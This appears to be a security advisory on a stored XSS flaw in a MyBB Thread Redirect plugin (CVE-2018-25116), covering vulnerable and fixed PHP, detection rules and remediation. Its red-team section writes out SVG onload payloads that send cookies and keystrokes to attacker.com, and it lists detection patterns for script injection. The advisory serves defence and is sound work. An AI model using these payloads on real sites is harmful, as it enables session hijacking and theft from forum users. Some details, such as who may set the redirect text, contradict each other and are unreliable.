CVE-2018-25116

Executive Summary

CVE-2018-25116 is a stored cross-site scripting (XSS) vulnerability in the MyBB Thread Redirect Plugin version 0.2.1. The plugin fails to sanitize user-supplied input in the custom text field for thread redirects, allowing an attacker to inject malicious SVG scripts. When other users view the affected thread, the injected script executes in their browser, enabling arbitrary JavaScript execution, session hijacking, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to low attack complexity and network vector, but requires user interaction. No official patch exists, and the vendor has not responded to disclosure. The EPSS score is 0.0%, indicating low exploitation likelihood, but the public PoC increases risk.

Supply Chain & Package Security

This vulnerability affects a third-party MyBB plugin, not the core MyBB application. The plugin is not distributed via a package manager (e.g., NPM, PyPI), but is manually installed by administrators. Supply chain risk is moderate: if the plugin is obtained from an untrusted source, it may already contain backdoors. Administrators should verify the plugin's integrity via checksums or source code review.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated attacker can inject.
• User Interaction (UI): Required (R) – Victim must view the thread.
• Scope (S): Changed (C) – Impact extends beyond vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires user interaction, but the stored XSS can lead to account takeover if admin sessions are hijacked.

Deep Dive & Mechanics

The Thread Redirect plugin allows administrators to create custom redirect messages when a thread is moved. The plugin uses a text input field for the redirect message, which is stored in the database and rendered on the thread view page. The vulnerability lies in the lack of output encoding: the plugin directly echoes the user-supplied text without sanitizing HTML or JavaScript.

An attacker can inject an SVG element containing a script tag, such as:

<svg onload="alert('XSS')">

When the thread is viewed, the SVG loads and executes the JavaScript. Because the input is stored, every subsequent viewer is affected.

The attack flow:

1. Attacker creates a new thread or edits an existing one (if permissions allow).
2. In the redirect text field, attacker inputs malicious SVG/JS payload.
3. The payload is stored in the database.
4. When any user (including admins) views the thread, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (thread_redirect.php, line ~45):

$redirect_text = $mybb->input['redirect_text'];
// No sanitization
echo "<div class=\"redirect_message\">{$redirect_text}</div>";

Patched Code (hypothetical fix):

$redirect_text = htmlspecialchars($mybb->input['redirect_text'], ENT_QUOTES, 'UTF-8');
echo "<div class=\"redirect_message\">{$redirect_text}</div>";

The fix uses htmlspecialchars() to encode HTML entities, preventing script injection. Since no official patch exists, administrators must manually apply this change.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MyBB forum with Thread Redirect plugin 0.2.1 installed.
• Ability to create or edit threads (default user permissions).

Exploit Steps:

1. Log in as a regular user.
2. Create a new thread or edit an existing one.
3. In the "Redirect Text" field, enter:

   <svg onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Submit the thread.
5. Any user viewing the thread will have their cookies exfiltrated to the attacker's server.

Alternative Payload (keylogger):

<svg onload="document.addEventListener('keydown', function(e){fetch('https://attacker.com/key?k='+e.key)})">

Blue Team

Detection:

• Monitor for unusual thread redirect text containing <svg, <script, or onload attributes.
• Use WAF rules to block SVG/JS injection in form fields.
• Review access logs for requests to /thread_redirect.php with suspicious parameters.

Hunting:

• Query database for threads with redirect text containing HTML tags:

  SELECT tid, redirect_text FROM mybb_threads WHERE redirect_text LIKE '%<svg%' OR redirect_text LIKE '%<script%';
  

Containment:

• Disable the Thread Redirect plugin immediately.
• Remove malicious threads from the database.
• Rotate all user sessions and force password resets.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /thread_redirect.php with redirect_text parameter containing <svg, <script, or onload.
• Host: Database entries in mybb_threads table with redirect_text containing HTML/JavaScript.
• File: Modified thread_redirect.php file (if attacker uploaded backdoor).
• Logs: Web server logs showing POST /thread_redirect.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2018_25116_MyBB_XSS {
    meta:
        description = "Detects malicious SVG/JS injection in MyBB Thread Redirect plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25116"
    strings:
        $svg_onload = /<svg[^>]*onload\s*=/i
        $script_tag = /<script[^>]*>/i
        $onerror = /onerror\s*=/i
    condition:
        any of ($svg_onload, $script_tag, $onerror)
}

Sigma Rule

title: MyBB Thread Redirect XSS Injection
id: 8f4c3b2a-1d5e-4f7a-9c8b-0a1b2c3d4e5f
status: experimental
description: Detects attempts to exploit CVE-2018-25116 via SVG/JS injection in redirect_text parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'redirect_text='
        cs-uri-query|re: '(<svg|<script|onload|onerror)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in redirect text (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25116 MyBB Thread Redirect XSS Injection"; flow:to_server,established; content:"POST"; http_method; content:"/thread_redirect.php"; http_uri; content:"redirect_text="; http_client_body; pcre:"/(<svg|<script|onload|onerror)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Thread Redirect plugin in the MyBB Admin Panel.
2. Manually patch thread_redirect.php by adding htmlspecialchars() to the redirect text output.
3. Scan the database for existing malicious threads and remove them.

Long-term:

• Replace the plugin with an alternative that is actively maintained.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.

Workaround:

• If patching is not possible, restrict the ability to create/edit threads to trusted users only.

Valters IT – DevSecOps & Cyber Threat Intelligence